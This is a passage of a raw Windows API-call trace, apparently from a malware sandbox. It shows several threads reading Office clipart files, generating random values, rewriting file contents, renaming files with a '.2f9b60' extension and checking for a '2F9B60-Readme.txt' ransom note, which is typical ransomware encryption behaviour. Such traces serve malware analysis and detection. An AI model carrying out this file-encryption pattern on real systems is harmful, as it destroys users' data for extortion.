lpNumberOfBytesWritten=0x2d81f910*=0x10a, lpOverlapped=0x0) returned 1 [0106.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.342] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0106.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8430) returned 1 [0106.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.342] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.343] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="9a") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="23") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="25") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="83") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="43") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="2d") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="31") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="a6") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="74") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="c1") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="69") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="f7") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="a5") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="15") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="82") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="2c") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="69") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="57") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="7d") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="b6") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="95") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="3a") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="65") returned 2 [0106.343] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="14") returned 2 [0106.343] RtlInitAnsiString (in: DestinationString=0x2d81f988, SourceString="9a232583432d31a674c169f7a515822c69577db6953a6514" | out: DestinationString="9a232583432d31a674c169f7a515822c69577db6953a6514") [0106.343] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d81f958, SourceString="9a232583432d31a674c169f7a515822c69577db6953a6514", AllocateDestinationString=1 | out: DestinationString="9a232583432d31a674c169f7a515822c69577db6953a6514") returned 0x0 [0106.343] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5c50 [0106.344] RtlFreeAnsiString (AnsiString="9") [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167700) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64a0) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63e0) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b60) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6140) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0106.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7acf80 [0106.344] wcscat (in: _Dest=0x1b7acf80, _Source="9a232583432d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9a232583432d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9a232583432d" [0106.344] wcscat (in: _Dest=0x1b7acf80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9a232583432d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9a232583432d.2f9b60" [0106.345] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9a232583432d.2f9b60", NtPathName=0x2d81f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9a232583432d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107d80 [0106.345] NtSetInformationFile (FileHandle=0x17c4, IoStatusBlock=0x2d81f9d0, FileInformation=0x107d80, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107d80) returned 1 [0109.654] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053460) returned 1 [0109.654] NtQueryInformationFile (in: FileHandle=0x17c4, IoStatusBlock=0x2d81f998, FileInformation=0x2d81f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2d81f998, FileInformation=0x2d81f9a8) returned 0x0 [0109.655] NtSetInformationFile (FileHandle=0x17c4, IoStatusBlock=0x2d81f998, FileInformation=0x2d81f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7acf80) returned 1 [0109.660] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5c50) returned 1 [0109.660] FlushFileBuffers (hFile=0x17c4) returned 1 [0109.663] CloseHandle (hObject=0x17c4) returned 1 [0109.664] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ada20 [0109.664] wcscpy (in: _Dest=0x1b7ada20, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.664] wcscat (in: _Dest=0x1b7ada20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0109.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4cf90) returned 1 Thread: id = 732 os_tid = 0x1254 [0096.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0106.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF", dwFileAttributes=0x20) returned 1 [0106.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x157c [0106.498] GetFileSizeEx (in: hFile=0x157c, lpFileSize=0x2d51fc00 | out: lpFileSize=0x2d51fc00*=20189) returned 1 [0106.498] SetFilePointerEx (in: hFile=0x157c, liDistanceToMove=0x4ed9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.498] ReadFile (in: hFile=0x157c, lpBuffer=0x2d51fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d51fbc8, lpOverlapped=0x0 | out: lpBuffer=0x2d51fb80*, lpNumberOfBytesRead=0x2d51fbc8*=0x4, lpOverlapped=0x0) returned 1 [0106.504] SetFilePointerEx (in: hFile=0x157c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.504] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.505] NtQuerySystemTime (in: CurrentTime=0x2d51fac0 | out: CurrentTime=0x2d51fac0*=132462177119998000) returned 0x0 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x549cd5ca [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x69c60723 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x7f064811 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x48c06cfe [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x46b67f4e [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x199a8329 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x475a5811 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x20eec8ea [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x2cd2dcd7 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x392464df [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x4c411a9f [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x10137f3f [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x1aac97ca [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x77ab2ea4 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x4e577a34 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x59948d51 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x54d93441 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x3643e901 [0106.505] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x54a51526 [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x3bb2d431 [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x2dbbc682 [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x4bd046b8 [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x520faec8 [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x36fb90be [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x4b0c3345 [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x59e10067 [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x2ea00ad [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x78bb2b4b [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x2e3c1f5 [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x127b8286 [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x3322c6de [0106.506] RtlRandomEx (in: Seed=0x2d51fab0 | out: Seed=0x2d51fab0) returned 0x58ad0fe0 [0106.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0106.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb5950 [0106.517] SetFilePointerEx (in: hFile=0x157c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.517] ReadFile (in: hFile=0x157c, lpBuffer=0x41eb5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2d51fb20, lpOverlapped=0x0 | out: lpBuffer=0x41eb5950*, lpNumberOfBytesRead=0x2d51fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0106.527] SetFilePointerEx (in: hFile=0x157c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0106.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ac0 [0106.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eae130 [0106.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7980) returned 1 [0106.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ac0) returned 1 [0106.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0106.527] WriteFile (in: hFile=0x157c, lpBuffer=0x41eae130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2d51fb20, lpOverlapped=0x0 | out: lpBuffer=0x41eae130*, lpNumberOfBytesWritten=0x2d51fb20*=0x3c00, lpOverlapped=0x0) returned 1 [0147.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eae130) returned 1 [0147.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb5950) returned 1 [0147.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced72c0 [0147.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c2b0 [0147.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868a40 [0147.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76e0 [0147.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76e0) returned 1 [0147.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced76e0 [0147.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced79b0 [0147.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7fb0 [0147.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7fb0) returned 1 [0147.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868a40) returned 1 [0147.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c2b0) returned 1 [0147.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166e00 [0147.890] SetFilePointerEx (in: hFile=0x157c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0147.890] WriteFile (hFile=0x157c, lpBuffer=0x166e00, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2d51fbd0, lpOverlapped=0x0) [0200.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c60 [0200.486] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8676c0 [0200.487] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8613b0 [0200.488] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8613b0) returned 1 [0200.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8613b0 [0200.488] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5b0 [0200.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5b0) returned 1 [0200.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8676c0) returned 1 [0200.490] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c60) returned 1 [0200.490] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8400 [0200.490] sprintf (in: _Dest=0x1b7d8400, _Format="%c%c" | out: _Dest="98") returned 2 [0200.490] sprintf (in: _Dest=0x1b7d8402, _Format="%c%c" | out: _Dest="29") returned 2 [0200.490] sprintf (in: _Dest=0x1b7d8404, _Format="%c%c" | out: _Dest="2f") returned 2 [0200.490] sprintf (in: _Dest=0x1b7d8406, _Format="%c%c" | out: _Dest="c6") returned 2 [0200.490] sprintf (in: _Dest=0x1b7d8408, _Format="%c%c" | out: _Dest="d1") returned 2 [0200.490] sprintf (in: _Dest=0x1b7d840a, _Format="%c%c" | out: _Dest="93") returned 2 [0200.490] sprintf (in: _Dest=0x1b7d840c, _Format="%c%c" | out: _Dest="29") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d840e, _Format="%c%c" | out: _Dest="ec") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8410, _Format="%c%c" | out: _Dest="53") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8412, _Format="%c%c" | out: _Dest="fa") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8414, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8416, _Format="%c%c" | out: _Dest="19") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8418, _Format="%c%c" | out: _Dest="00") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d841a, _Format="%c%c" | out: _Dest="8f") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d841c, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d841e, _Format="%c%c" | out: _Dest="0e") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8420, _Format="%c%c" | out: _Dest="ed") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8422, _Format="%c%c" | out: _Dest="5d") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8424, _Format="%c%c" | out: _Dest="45") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8426, _Format="%c%c" | out: _Dest="1a") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d8428, _Format="%c%c" | out: _Dest="cb") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d842a, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d842c, _Format="%c%c" | out: _Dest="8f") returned 2 [0200.491] sprintf (in: _Dest=0x1b7d842e, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.491] RtlInitAnsiString (in: DestinationString=0x2d51fc48, SourceString="98292fc6d19329ec53fa4f19008fb90eed5d451acbc58f4f" | out: DestinationString="98292fc6d19329ec53fa4f19008fb90eed5d451acbc58f4f") [0200.491] RtlAnsiStringToUnicodeString (in: DestinationString=0x2d51fc18, SourceString="98292fc6d19329ec53fa4f19008fb90eed5d451acbc58f4f", AllocateDestinationString=1 | out: DestinationString="98292fc6d19329ec53fa4f19008fb90eed5d451acbc58f4f") returned 0x0 [0200.491] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0b40 [0200.492] wcscat (in: _Dest=0x43188860, _Source="98292fc6d193" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\98292fc6d193") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\98292fc6d193" [0200.492] wcscat (in: _Dest=0x43188860, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\98292fc6d193.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\98292fc6d193.2f9b60" [0200.492] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\98292fc6d193.2f9b60", NtPathName=0x2d51fbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\98292fc6d193.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ee0a0 Thread: id = 733 os_tid = 0x1258 [0096.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif")) returned 0x20 [0106.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF", dwFileAttributes=0x20) returned 1 [0106.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe40 [0106.183] GetFileSizeEx (in: hFile=0xe40, lpFileSize=0x2d89f7a0 | out: lpFileSize=0x2d89f7a0*=20454) returned 1 [0106.183] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x4fe2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.183] ReadFile (in: hFile=0xe40, lpBuffer=0x2d89f720, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d89f768, lpOverlapped=0x0 | out: lpBuffer=0x2d89f720*, lpNumberOfBytesRead=0x2d89f768*=0x4, lpOverlapped=0x0) returned 1 [0106.257] SetFilePointerEx (in: hFile=0xe40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7980 [0106.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85b0 [0106.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85e0 [0106.257] NtQuerySystemTime (in: CurrentTime=0x2d89f660 | out: CurrentTime=0x2d89f660*=132462177117502000) returned 0x0 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x446efaa0 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x1f50900f [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x4f755e8a [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x55fb7da3 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x59c361c3 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x26dd63d7 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x1c894898 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x9b593d3 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x2c99c551 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x26404083 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x60c8b82e [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x603eff1d [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x41416841 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x5c58b02e [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x70e892d3 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x5a5677a8 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x3ad7d030 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x4daecd1b [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x7f263b84 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x65f0a3a6 [0106.258] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x583f6a6d [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) returned 0x7ed15fde [0106.259] RtlRandomEx (in: Seed=0x2d89f650 | out: Seed=0x2d89f650) 